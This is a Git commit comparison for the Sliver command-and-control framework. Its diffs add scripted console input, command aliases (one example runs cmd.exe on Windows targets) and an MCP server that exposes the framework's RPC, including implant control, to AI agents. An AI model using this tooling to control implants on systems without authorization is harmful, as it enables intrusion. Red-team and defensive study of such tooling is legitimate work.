Compare commits

...
57 Commits
Author SHA1 Message Date
moloch-- 13bf9d0a01 Implement --rc for scripting initial inputs 2026-01-04 17:51:59 -08:00
moloch-- dc736f6095 Update readme 2026-01-04 12:18:58 -08:00
Joe e02d53ce67 Merge pull request #2088 from BishopFox/fix/readline
Reduce flickering text in readline
2026-01-04 13:02:14 -07:00
Joe 064cd6a2cc Merge pull request #2087 from BishopFox/fix/mods3
Rename implant/sliver imports
2026-01-04 12:00:46 -07:00
moloch-- eab9d0b653 Reduce flickering text in readline 2026-01-04 10:59:20 -08:00
Joe 29c4ec0afa Merge pull request #2032 from carterburn/feature/aka-command
New command: add command aliases (aka)
2026-01-04 11:19:15 -07:00
moloch-- b7c336cb76 Rename implant/sliver imports 2026-01-04 10:17:56 -08:00
moloch-- d8ddd09c86 Update pretty table 2026-01-04 09:42:44 -08:00
Joe 04bb356207 Merge branch 'master' into feature/aka-command 2026-01-04 10:19:52 -07:00
Joe a003a5e3cf Merge pull request #2086 from AnvithLobo/master
Fix beacon panic race condition
2026-01-04 09:19:53 -07:00
Joe 75e3cad76a Merge branch 'master' into feature/aka-command 2026-01-04 09:06:36 -07:00
AnvithLobo 8aa0cbee7e Fix beacon panic race condition
Tasks are now dispatched to background goroutines, and their results are collected asynchronously via a channel. Check-ins include any pending results from previous tasks, improving responsiveness and reliability. Introduced beaconDispatchTasks to manage background execution and result collection.
2026-01-04 07:57:26 +05:30
Joe 30a50717e1 Merge pull request #2029 from BishopFox/7a58dependabot/go_modules/github.com/klauspost/compress-1.18.1
Bump github.com/klauspost/compress from 1.18.0 to 1.18.1
2026-01-02 21:34:03 -07:00
Joe f4c9e7109b Merge pull request #2084 from BishopFox/fix/mods2
Improvements to Implant Build Layout
2026-01-02 21:19:16 -07:00
moloch-- 08f3997756 Fix sliver.h -> main.h 2026-01-02 21:40:45 -06:00
moloch-- 3aebebecbb Implement RenameImport() 2026-01-02 21:22:19 -06:00
moloch-- 1d7eca8e39 Validate module path 2026-01-02 21:06:14 -06:00
moloch-- 773ee5f867 Rename sliver.go -> main.go 2026-01-02 20:55:26 -06:00
moloch-- 7608a4b0a0 Add GoPackage to ImplantConfig pb 2026-01-02 20:41:35 -06:00
moloch-- 9ecd36b7b6 Implement module rename 2026-01-02 20:33:27 -06:00
moloch-- d8fc5a6df4 Tweak project dir structure 2026-01-02 19:02:07 -06:00
moloch-- 649a6582e0 Add -mod=vendor to GoBuild 2026-01-02 18:53:31 -06:00
moloch-- 00e8a0cfca Move main implant code out of main pkg 2026-01-02 18:50:26 -06:00
moloch-- e9890bc8f9 Set limit to unauthed body req size 2026-01-02 17:32:43 -06:00
Joe 8b798f8307 Merge pull request #2083 from BishopFox/feature/mcp
Experiamental MCP Support
2026-01-02 16:25:24 -07:00
moloch-- d4728af1ea Add mcp logging 2026-01-02 16:26:01 -06:00
moloch-- d1b7d91b1a Add basic file operations to mcp 2026-01-02 12:48:35 -06:00
moloch-- cac6dced34 Tweak mcp 2026-01-02 11:14:32 -06:00
moloch-- a35bf0c1fc Implement mcp stdio option 2026-01-02 07:01:55 -06:00
moloch-- 67616e50c1 Wire rpc to mcp 2026-01-01 22:43:52 -06:00
moloch-- 54de8a2a97 Outline mcp 2026-01-01 22:32:25 -06:00
moloch-- 20916c655c Improve kick-operator command 2026-01-01 11:17:07 -06:00
Joe 6c18201ed6 Merge pull request #2081 from BishopFox/fix/rpc-errors
Improve gRPC Error Codes
2026-01-01 09:57:00 -07:00
moloch-- 29165aff0d Add /artifacts to gitignore 2026-01-01 10:04:53 -06:00
moloch-- 704285f28d Fix release workflow 2026-01-01 09:50:59 -06:00
moloch-- a007872fbc Include version history in release action 2026-01-01 09:48:56 -06:00
moloch-- c90e674f25 Merge branch 'master' into fix/rpc-errors 2026-01-01 09:40:57 -06:00
moloch-- 679b8d0c51 Add missing --permissions all flag 2026-01-01 09:40:43 -06:00
moloch-- 0a42a03052 Add missing --permissions all flag 2026-01-01 09:40:31 -06:00
moloch-- 73852e5bf2 Remove mingw, add operator --permissions flag 2026-01-01 09:37:16 -06:00
moloch-- 5bcf59e1b3 Fix installation script for amd64 minisig name 2026-01-01 09:32:02 -06:00
moloch-- 935c737c35 Implement better grpc error codes 2026-01-01 09:30:14 -06:00
moloch-- 5c04e61235 Simplify signing operation AGAIN 2025-12-31 16:25:10 -06:00
moloch-- cff7a8ce53 Simplify signing operation 2025-12-31 15:53:07 -06:00
moloch-- e6f452ea2e Simplify signing operation 2025-12-31 15:29:46 -06:00
moloch-- c5f533bc80 Simplify signing operation 2025-12-31 15:13:03 -06:00
moloch-- bc08760320 nop 2025-12-31 14:56:02 -06:00
moloch-- 9b37bee391 nop 2025-12-31 14:37:52 -06:00
moloch-- 709085238d Improve release minisign key handling 2025-12-31 14:20:12 -06:00
moloch-- 6e4240f0d9 Fix release workflow 2025-12-31 14:04:46 -06:00
dependabot[bot] c09c57da3f Bump github.com/klauspost/compress from 1.18.0 to 1.18.1
Bumps [github.com/klauspost/compress](https://github.com/klauspost/compress) from 1.18.0 to 1.18.1.
- [Release notes](https://github.com/klauspost/compress/releases)
- [Changelog](https://github.com/klauspost/compress/blob/master/.goreleaser.yml)
- [Commits](https://github.com/klauspost/compress/compare/v1.18.0...v1.18.1)

---
updated-dependencies:
- dependency-name: github.com/klauspost/compress
  dependency-version: 1.18.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2025-11-03 20:05:33 +00:00
Carter Burn a21b0da928 Merge branch 'BishopFox:master' into feature/aka-command 2025-10-28 21:16:15 -04:00
carterburn 8a0ba038f6 Add readme to give aka command breakdown 2025-10-27 21:29:35 -04:00
carterburn dd072bbdb6 Merge remote-tracking branch 'origin/master' into feature/aka-command 2025-10-26 21:48:59 -04:00
carterburn 1e3c736acf Update types to support storing aka aliases
Updated the way aka aliases are stored to support saving the aka aliases
to disk.

Aka aliases will automatically be saved to disk and loaded on client
startup.
2025-10-26 21:45:03 -04:00
carterburn 3d880914d9 Clean up settings and hook for no quotes
Previous commit forced the user to use quotes in the creation command
and in any arguments that include spaces when expanded a command alias.

This commit removes that requirement and allows the user to manipulate
the shell interface as if they were typing commands directly.
2025-10-23 20:39:19 -04:00
carterburn 1162de9ee3 Initial design of command aliases
Command aliases will allow a user to define "aliases" for shorthands and
to pass default arguments

Currently, aliases with more than one word commands (like a command
alias for "execute -o") require the use of single or double quotes to
pass the arguments correctly. Additionally, any use of flags in the
actual command will attempt to parse for the "aka" command and we want
the "aka create" command to be bare to just grab everything after the
command alias name.

Subsequent changes will include:
- better parsing of flags as described above
- saving command aliases to disk
- better help messages
2025-10-23 06:05:01 -04:00
304 changed files with 45841 additions and 13461 deletions

No files matched your search

+12 -8
View File
@@ -12,7 +12,7 @@ jobs:
tag-check:
name: Check Release Tag
runs-on: ubuntu-latest
timeout-minutes: 10
timeout-minutes: 30
outputs:
tag: ${{ steps.tag.outputs.tag }}
steps:
@@ -38,6 +38,8 @@ jobs:
steps:
- name: Check Out Code
uses: actions/checkout@v6
with:
fetch-depth: 0
- name: Go 1.25
uses: actions/setup-go@v6
@@ -48,21 +50,23 @@ jobs:
run: sudo apt-get update --fix-missing && sudo apt-get -y install minisign
- name: Build Clients
run: make clients
run: |
make clients
mkdir -p artifacts
mv sliver-client_* artifacts/
- name: Build Servers
run: make servers
- name: Collect Artifacts
run: |
mkdir -p artifacts
cp sliver-server_* sliver-client_* artifacts/
make servers
mv sliver-server_* artifacts/
- name: Sign Artifacts
env:
MINISIGN_KEY: ${{ secrets.MINISIGN_SLIVER_RELEASE_KEY }}
run: |
printf '%s' "$MINISIGN_KEY" > minisign.key
echo "$MINISIGN_KEY" | base64 -d > minisign.key
echo "minisign.key bytes: $(wc -c < minisign.key | tr -d ' ')"
echo "minisign.key sha256: $(sha256sum minisign.key | awk '{print $1}')"
chmod 600 minisign.key
for file in artifacts/sliver-*; do
[ -f "$file" ] || continue
+5
View File
@@ -2,6 +2,11 @@
/.devcontainer
/.idea
/artifacts
/artifacts/**
*.rc
/Dockerfile.*
/*.sdk.tar.xz
+12
View File
@@ -73,6 +73,18 @@ func GetConsoleLogsDir() string {
return consoleLogsDir
}
// GetMCPLogsDir - Get the Sliver client MCP logs dir ~/.sliver-client/logs/mcp/
func GetMCPLogsDir() string {
mcpLogsDir := filepath.Join(GetClientLogsDir(), "mcp")
if _, err := os.Stat(mcpLogsDir); os.IsNotExist(err) {
err = os.MkdirAll(mcpLogsDir, 0700)
if err != nil {
log.Fatal(err)
}
}
return mcpLogsDir
}
func assetVersion() string {
appDir := GetRootAppDir()
data, err := os.ReadFile(filepath.Join(appDir, versionFileName))
+4
View File
@@ -51,6 +51,7 @@ func init() {
defer logFile.Close()
rootCmd.TraverseChildren = true
rootCmd.Flags().String(RCFlagName, "", "path to rc script file")
// Create the console client, without any RPC or commands bound to it yet.
// This created before anything so that multiple commands can make use of
@@ -69,6 +70,9 @@ func init() {
// other command trees below, such as the implant one.
rootCmd.AddCommand(consoleCmd(con))
// MCP stdio server.
rootCmd.AddCommand(mcpCmd(con))
// Implant.
// The implant command allows users to run commands on slivers from their
// system shell. It makes use of pre-runners for connecting to the server
+9 -3
View File
@@ -40,6 +40,7 @@ func consoleCmd(con *console.SliverClient) *cobra.Command {
Short: "Start the sliver client console",
}
consoleCmd.Flags().String(RCFlagName, "", "path to rc script file")
consoleCmd.RunE, consoleCmd.PersistentPostRunE = consoleRunnerCmd(con, true)
return consoleCmd
}
@@ -47,7 +48,7 @@ func consoleCmd(con *console.SliverClient) *cobra.Command {
func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *cobra.Command, args []string) error) {
var ln *grpc.ClientConn
pre = func(_ *cobra.Command, _ []string) error {
pre = func(cmd *cobra.Command, _ []string) error {
configs := assets.GetConfigs()
if len(configs) == 0 {
@@ -59,13 +60,18 @@ func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *
return nil
}
rcScript, err := ReadRCScript(cmd)
if err != nil {
fmt.Printf("Failed to read rc script: %s\n", err)
return nil
}
// Don't clobber output when simply running an implant command from system shell.
if run {
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
}
var rpc rpcpb.SliverRPCClient
var err error
rpc, ln, err = transport.MTLSConnect(config)
if err != nil {
@@ -76,7 +82,7 @@ func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *
// Wait for any connection state changes and exit if the connection is lost.
go handleConnectionLost(ln)
return console.StartClient(con, rpc, command.ServerCommands(con, nil), command.SliverCommands(con), run)
return console.StartClient(con, rpc, command.ServerCommands(con, nil), command.SliverCommands(con), run, rcScript)
}
// Close the RPC connection once exiting
+94
View File
@@ -0,0 +1,94 @@
package cli
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"os"
"path/filepath"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
clientmcp "github.com/bishopfox/sliver/client/mcp"
"github.com/bishopfox/sliver/client/transport"
"github.com/spf13/cobra"
)
func mcpCmd(con *console.SliverClient) *cobra.Command {
mcpCmd := &cobra.Command{
Use: "mcp",
Short: "Start the MCP stdio server",
RunE: func(cmd *cobra.Command, args []string) error {
return runMCP(cmd, con)
},
}
mcpCmd.Flags().String("config", "", "path to client config file")
return mcpCmd
}
func runMCP(cmd *cobra.Command, con *console.SliverClient) error {
configPath, _ := cmd.Flags().GetString("config")
config, err := loadMCPClientConfig(configPath)
if err != nil {
fmt.Printf("%s\n", err)
return nil
}
rpc, ln, err := transport.MTLSConnect(config)
if err != nil {
fmt.Printf("Connection to server failed %s\n", err)
return nil
}
defer ln.Close()
con.Rpc = rpc
go handleConnectionLost(ln)
cfg := clientmcp.DefaultConfig()
if err := clientmcp.ServeStdio(cfg, con.Rpc); err != nil {
fmt.Printf("MCP server error: %s\n", err)
return nil
}
return nil
}
func loadMCPClientConfig(path string) (*assets.ClientConfig, error) {
if path != "" {
configPath := path
if !filepath.IsAbs(configPath) {
if _, err := os.Stat(configPath); err != nil {
configPath = filepath.Join(assets.GetConfigDir(), configPath)
}
}
return assets.ReadConfig(configPath)
}
configs := assets.GetConfigs()
switch len(configs) {
case 0:
return nil, fmt.Errorf("no config files found at %s (use --config)", assets.GetConfigDir())
case 1:
for _, config := range configs {
return config, nil
}
default:
return nil, fmt.Errorf("multiple configs found; use --config to select one")
}
return nil, fmt.Errorf("no config files found")
}
+31
View File
@@ -0,0 +1,31 @@
package cli
import (
"fmt"
"os"
"github.com/spf13/cobra"
)
const RCFlagName = "rc"
func ReadRCScript(cmd *cobra.Command) (string, error) {
if cmd == nil {
return "", nil
}
if cmd.Flags().Lookup(RCFlagName) == nil {
return "", nil
}
rcPath, err := cmd.Flags().GetString(RCFlagName)
if err != nil {
return "", err
}
if rcPath == "" {
return "", nil
}
data, err := os.ReadFile(rcPath)
if err != nil {
return "", fmt.Errorf("read rc script %q: %w", rcPath, err)
}
return string(data), nil
}
+2 -1
View File
@@ -8,7 +8,7 @@ Shared registration glue, scaffolding, and helpers for Sliver client console com
- `command.go` – Provides helpers for binding Cobra commands, flag sets, and visibility filters into the client command tree.
- `server.go` – Defines the server menu composition, wiring each server-side command group onto the root console structure at runtime.
- `sliver.go` – Builds the implant/Sliver menu, attaching per-target command groups and loading alias/extension manifests before exposure.
- `main.go` – Builds the implant/Sliver menu, attaching per-target command groups and loading alias/extension manifests before exposure.
## Sub-packages
@@ -40,6 +40,7 @@ Shared registration glue, scaffolding, and helpers for Sliver client console com
- `licenses/` – Implements the 'licenses' command group for the Sliver client console.
- `loot/` – Implements the 'loot' command group for the Sliver client console.
- `monitor/` – Implements the 'monitor' command group for the Sliver client console.
- `mcp/` – Implements the 'mcp' command group for the Sliver client console.
- `network/` – Implements the 'network' command group for the Sliver client console.
- `operators/` – Implements the 'operators' command group for the Sliver client console.
- `pivots/` – Implements the 'pivots' command group for the Sliver client console.
+23
View File
@@ -0,0 +1,23 @@
# client/command/aka
## Overview
Implements the 'aka' command group for the Sliver client console. "Aka"s are
command aliases (like 'alias' in 'bash') that allow operators to specify
shorthand commands and default arguments for commonly used commands.
### Examples:
- `aka create bg background`: Allows an operator to run `bg` from the implant
menu to quickly move back to the server menu
- `aka create execw execute -o "C:\Windows\System32\cmd.exe" /c`: Shorthand for
executing binaries on Windows targets like: `execw arp -a`
## Go Files
- `commands.go` – Wires Cobra commands for listing, creating, and deleting command aliases in the client console.
- `create.go` – Handles creating command aliases to use by the client.
- `delete.go` – Removes command aliases currently tracked by the client.
- `hook.go` – The main hooking logic to intercept commands ran by the client console. The hook will intercept processing before hitting the Cobra tree to transform the command alias to a full command with default arguments from the command alias and user-provided arguments to the alias.
- `list.go` - Lists the current command aliases tracked by the client.
- `storage.go` - Supports the saving of aliases to disk to keep between runs of the client.
+59
View File
@@ -0,0 +1,59 @@
package aka
import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants"
"github.com/spf13/cobra"
)
func ServerCommands(con *console.SliverClient) []*cobra.Command {
return commands(con, constants.GenericHelpGroup)
}
func ImplantCommands(con *console.SliverClient) []*cobra.Command {
return commands(con, constants.SliverCoreHelpGroup)
}
func commands(con *console.SliverClient, group string) []*cobra.Command {
akaCommand := &cobra.Command{
Use: "aka",
Short: "Manage command aliases (aka's)",
Run: func(cmd *cobra.Command, args []string) {
AkaListCmd(cmd, con, args)
},
GroupID: group,
}
createAka := &cobra.Command{
Use: "create <alias> <command> [args...]",
Short: "Create a new command alias (aka)",
Args: cobra.MinimumNArgs(2),
DisableFlagParsing: true, // No flags with aka create so we capture flags to other commands
DisableFlagsInUseLine: true,
Run: func(cmd *cobra.Command, args []string) {
AkaCreateCmd(cmd, con, args)
},
}
createAka.InitDefaultHelpFlag()
createAka.Flags().Lookup("help").Hidden = true
akaCommand.AddCommand(createAka)
deleteAka := &cobra.Command{
Use: "delete <alias>",
Short: "Delete a command alias (aka)",
Args: cobra.MinimumNArgs(1),
Run: func(cmd *cobra.Command, args []string) {
AkaDeleteCmd(cmd, con, args)
},
}
akaCommand.AddCommand(deleteAka)
con.App.PreCmdRunLineHooks = append(con.App.PreCmdRunLineHooks, Cmdhook)
err := LoadAkaAliases()
if err != nil {
con.PrintErrorf("Failed to load aka alises: %s\n", err)
}
return []*cobra.Command{akaCommand}
}
+46
View File
@@ -0,0 +1,46 @@
package aka
import (
"fmt"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/spf13/cobra"
)
func AkaCreateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
aliasName := args[0]
command := args[1]
defaultArgs := args[2:] // anything else is going to be the default args to the alias
if _, exists := akaAliases[aliasName]; exists {
con.PrintErrorf("Alias '%s' already exists\n", aliasName)
return
}
var desc string
if len(defaultArgs) == 0 {
desc = fmt.Sprintf("%s", command)
} else {
desc = fmt.Sprintf("%s %s", command, strings.Join(defaultArgs, " "))
}
alias := &AkaAlias{
Name: aliasName,
Command: command,
DefaultArgs: defaultArgs,
Description: desc,
}
akaAliases[aliasName] = alias
// save this new alias to disk
err := SaveAkaAliases()
if err != nil {
con.PrintErrorf("Failed to save alias '%s' to disk: %s\n", aliasName, err)
// we still technically added it to the map, so the alias did get created in
// memory so we should still print the Info message below
}
con.PrintInfof("Create alias for '%s' -> '%v'\n", aliasName, alias.Description)
}
+25
View File
@@ -0,0 +1,25 @@
package aka
import (
"github.com/bishopfox/sliver/client/console"
"github.com/spf13/cobra"
)
func AkaDeleteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
aliasName := args[0]
if _, exists := akaAliases[aliasName]; !exists {
con.PrintErrorf("Alias '%s' does not exist\n", aliasName)
return
}
delete(akaAliases, aliasName)
// Save updated map to disk
err := SaveAkaAliases()
if err != nil {
con.PrintErrorf("Failed to save aliases to disk: %s\n", err)
return
}
con.PrintInfof("Deleted alias '%s'\n", aliasName)
}
+27
View File
@@ -0,0 +1,27 @@
package aka
import (
"strings"
)
func Cmdhook(args []string) ([]string, error) {
if len(args) == 0 {
return args, nil
}
if aliasArgs, exists := akaAliases[args[0]]; exists {
var expandedArgs []string
expandedArgs = append(expandedArgs, aliasArgs.Command)
expandedArgs = append(expandedArgs, aliasArgs.DefaultArgs...)
// join the user passed args so the shell processes it without flags if
// available
if len(args[1:]) > 0 {
expandedArgs = append(expandedArgs, strings.Join(args[1:], " "))
}
return expandedArgs, nil
}
return args, nil
}
+31
View File
@@ -0,0 +1,31 @@
package aka
import (
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
)
func AkaListCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if len(akaAliases) == 0 {
con.PrintInfof("No command aliases created. Use `aka create` to create one.\n")
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Alias",
"Command",
})
for alias, cmd := range akaAliases {
tw.AppendRow(table.Row{
alias,
cmd.Description,
})
}
con.Printf("%s\n", tw.Render())
}
+68
View File
@@ -0,0 +1,68 @@
package aka
import (
"encoding/json"
"os"
"path/filepath"
"github.com/bishopfox/sliver/client/assets"
)
type AkaAlias struct {
Name string `json:"name"` // alias Name
Command string `json:"command"` // command being aliased
DefaultArgs []string `json:"default_args"` // args passed by the user
Description string `json:"description"`
}
var akaAliases = make(map[string]*AkaAlias)
const (
akaAliasFileName = "aka-aliases.json"
)
func GetAkaAliasesFilePath() string {
return filepath.Join(assets.GetRootAppDir(), akaAliasFileName)
}
func LoadAkaAliases() error {
filepath := GetAkaAliasesFilePath()
data, err := os.ReadFile(filepath)
if err != nil {
// if file hasn't been created yet, we fail gracefully
if os.IsNotExist(err) {
return nil
}
// otherwise, return the actual error; something else went wrong
return err
}
aliases := []AkaAlias{}
err = json.Unmarshal(data, &aliases)
if err != nil {
return err
}
akaAliases = make(map[string]*AkaAlias)
for _, alias := range aliases {
akaAliases[alias.Name] = &alias
}
return nil
}
func SaveAkaAliases() error {
filepath := GetAkaAliasesFilePath()
aliases := make([]*AkaAlias, 0, len(akaAliases))
for _, alias := range akaAliases {
aliases = append(aliases, alias)
}
data, err := json.MarshalIndent(aliases, "", " ")
if err != nil {
return err
}
return os.WriteFile(filepath, data, 0o600)
}
+76
View File
@@ -0,0 +1,76 @@
package mcp
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
clientmcp "github.com/bishopfox/sliver/client/mcp"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the `mcp` command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
defaultConfig := clientmcp.DefaultConfig()
mcpCmd := &cobra.Command{
Use: consts.MCPStr,
Short: "Manage the MCP server",
Long: help.GetHelpFor([]string{consts.MCPStr}),
GroupID: consts.NetworkHelpGroup,
Run: func(cmd *cobra.Command, args []string) {
McpCmd(cmd, con, args)
},
}
startCmd := &cobra.Command{
Use: consts.StartStr,
Short: "Start the MCP server",
Long: help.GetHelpFor([]string{consts.MCPStr, consts.StartStr}),
Run: func(cmd *cobra.Command, args []string) {
McpStartCmd(cmd, con, args)
},
}
flags.Bind("", false, startCmd, func(f *pflag.FlagSet) {
f.String("transport", string(defaultConfig.Transport), "mcp transport (http or sse)")
f.String("listen", defaultConfig.ListenAddress, "listen address for the MCP server")
f.String("name", defaultConfig.ServerName, "server name for MCP initialize")
f.String("version", defaultConfig.ServerVersion, "server version for MCP initialize")
})
flags.BindFlagCompletions(startCmd, func(comp *carapace.ActionMap) {
(*comp)["transport"] = carapace.ActionValues("http", "sse")
})
mcpCmd.AddCommand(startCmd)
stopCmd := &cobra.Command{
Use: consts.StopStr,
Short: "Stop the MCP server",
Long: help.GetHelpFor([]string{consts.MCPStr, consts.StopStr}),
Run: func(cmd *cobra.Command, args []string) {
McpStopCmd(cmd, con, args)
},
}
mcpCmd.AddCommand(stopCmd)
consoleCmd := &cobra.Command{
Use: "console",
Aliases: []string{"repl"},
Short: "Open an MCP console session",
Long: help.GetHelpFor([]string{consts.MCPStr, "console"}),
Run: func(cmd *cobra.Command, args []string) {
McpConsoleCmd(cmd, con, args)
},
}
flags.Bind("", false, consoleCmd, func(f *pflag.FlagSet) {
f.String("transport", string(defaultConfig.Transport), "mcp transport (http or sse)")
f.String("url", "", "mcp server URL (defaults to local server settings)")
})
flags.BindFlagCompletions(consoleCmd, func(comp *carapace.ActionMap) {
(*comp)["transport"] = carapace.ActionValues("http", "sse")
})
mcpCmd.AddCommand(consoleCmd)
return []*cobra.Command{mcpCmd}
}
+132
View File
@@ -0,0 +1,132 @@
package mcp
import (
"bufio"
"context"
"errors"
"fmt"
"io"
"strings"
"github.com/bishopfox/sliver/client/console"
clientmcp "github.com/bishopfox/sliver/client/mcp"
"github.com/bishopfox/sliver/client/version"
mcpclient "github.com/mark3labs/mcp-go/client"
mcpapi "github.com/mark3labs/mcp-go/mcp"
"github.com/spf13/cobra"
)
// McpConsoleCmd connects to an MCP server and starts a minimal console.
func McpConsoleCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
rawTransport, _ := cmd.Flags().GetString("transport")
transport, err := clientmcp.ParseTransport(rawTransport)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
targetURL, _ := cmd.Flags().GetString("url")
if targetURL == "" {
cfg := clientmcp.GetStatus().Config.WithDefaults()
cfg.Transport = transport
targetURL, err = cfg.EndpointURL()
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
client, err := newConsoleClient(transport, targetURL)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
defer client.Close()
ctx := context.Background()
if err := client.Start(ctx); err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = client.Initialize(ctx, mcpapi.InitializeRequest{
Params: mcpapi.InitializeParams{
ProtocolVersion: mcpapi.LATEST_PROTOCOL_VERSION,
ClientInfo: mcpapi.Implementation{
Name: "sliver-mcp-console",
Version: version.Version,
},
Capabilities: mcpapi.ClientCapabilities{},
},
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Connected to MCP server (%s)\n", targetURL)
runConsoleREPL(ctx, client, cmd.InOrStdin(), cmd.OutOrStdout())
}
func newConsoleClient(transport clientmcp.Transport, targetURL string) (*mcpclient.Client, error) {
switch transport {
case clientmcp.TransportHTTP:
return mcpclient.NewStreamableHttpClient(targetURL)
case clientmcp.TransportSSE:
return mcpclient.NewSSEMCPClient(targetURL)
default:
return nil, fmt.Errorf("unsupported transport %q", transport)
}
}
func runConsoleREPL(ctx context.Context, client *mcpclient.Client, in io.Reader, out io.Writer) {
reader := bufio.NewReader(in)
for {
fmt.Fprint(out, "mcp> ")
line, err := reader.ReadString('\n')
if err != nil {
if errors.Is(err, io.EOF) {
fmt.Fprintln(out)
return
}
fmt.Fprintf(out, "read error: %s\n", err)
return
}
line = strings.TrimSpace(line)
switch line {
case "":
continue
case "exit", "quit":
return
case "help", "?":
printConsoleHelp(out)
case "tools":
printConsoleTools(ctx, client, out)
default:
fmt.Fprintf(out, "unknown command: %s\n", line)
}
}
}
func printConsoleHelp(out io.Writer) {
fmt.Fprintln(out, "commands: tools, help, exit")
}
func printConsoleTools(ctx context.Context, client *mcpclient.Client, out io.Writer) {
tools, err := client.ListTools(ctx, mcpapi.ListToolsRequest{})
if err != nil {
fmt.Fprintf(out, "tools error: %s\n", err)
return
}
if len(tools.Tools) == 0 {
fmt.Fprintln(out, "no tools available")
return
}
for _, tool := range tools.Tools {
if tool.Description != "" {
fmt.Fprintf(out, "- %s: %s\n", tool.Name, tool.Description)
continue
}
fmt.Fprintf(out, "- %s\n", tool.Name)
}
}
+37
View File
@@ -0,0 +1,37 @@
package mcp
import (
"time"
"github.com/bishopfox/sliver/client/console"
clientmcp "github.com/bishopfox/sliver/client/mcp"
"github.com/spf13/cobra"
)
// McpCmd prints the current MCP server state.
func McpCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
status := clientmcp.GetStatus()
state := "stopped"
if status.Running {
state = "running"
}
con.Printf("Status: %s\n", state)
con.Printf("Transport: %s\n", status.Config.Transport)
con.Printf("Listen: %s\n", status.Config.ListenAddress)
endpoint, err := status.Config.EndpointURL()
if err == nil {
con.Printf("Endpoint: %s\n", endpoint)
} else {
con.PrintErrorf("Endpoint: %s\n", err)
}
if status.Running && !status.StartedAt.IsZero() {
uptime := time.Since(status.StartedAt).Truncate(time.Second)
con.Printf("Uptime: %s\n", uptime)
}
if status.LastError != "" {
con.PrintErrorf("Last error: %s\n", status.LastError)
}
}
+39
View File
@@ -0,0 +1,39 @@
package mcp
import (
"github.com/bishopfox/sliver/client/console"
slivermcp "github.com/bishopfox/sliver/client/mcp"
"github.com/spf13/cobra"
)
// McpStartCmd starts the local MCP server.
func McpStartCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
rawTransport, _ := cmd.Flags().GetString("transport")
transport, err := slivermcp.ParseTransport(rawTransport)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
listen, _ := cmd.Flags().GetString("listen")
name, _ := cmd.Flags().GetString("name")
version, _ := cmd.Flags().GetString("version")
cfg := slivermcp.Config{
Transport: transport,
ListenAddress: listen,
ServerName: name,
ServerVersion: version,
}.WithDefaults()
if err := slivermcp.Start(cfg, con.Rpc); err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Starting MCP server (%s) on %s\n", cfg.Transport, cfg.ListenAddress)
endpoint, err := cfg.EndpointURL()
if err == nil {
con.PrintInfof("Endpoint: %s\n", endpoint)
}
}
+24
View File
@@ -0,0 +1,24 @@
package mcp
import (
"context"
"time"
"github.com/bishopfox/sliver/client/console"
clientmcp "github.com/bishopfox/sliver/client/mcp"
"github.com/spf13/cobra"
)
const mcpStopTimeout = 5 * time.Second
// McpStopCmd stops the local MCP server.
func McpStopCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
ctx, cancel := context.WithTimeout(context.Background(), mcpStopTimeout)
defer cancel()
if err := clientmcp.Stop(ctx); err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("MCP server stopped\n")
}
+4
View File
@@ -22,6 +22,7 @@ import (
"fmt"
"os"
"github.com/bishopfox/sliver/client/command/aka"
"github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/armory"
"github.com/bishopfox/sliver/client/command/beacons"
@@ -39,6 +40,7 @@ import (
"github.com/bishopfox/sliver/client/command/jobs"
"github.com/bishopfox/sliver/client/command/licenses"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/command/mcp"
"github.com/bishopfox/sliver/client/command/monitor"
"github.com/bishopfox/sliver/client/command/operators"
"github.com/bishopfox/sliver/client/command/reaction"
@@ -101,11 +103,13 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
crack.Commands,
certificates.Commands,
clean.Command,
aka.ServerCommands,
)
// C2 Network
bind(consts.NetworkHelpGroup,
jobs.Commands,
mcp.Commands,
websites.Commands,
wireguard.Commands,
c2profiles.Commands,
+2
View File
@@ -22,6 +22,7 @@ import (
"fmt"
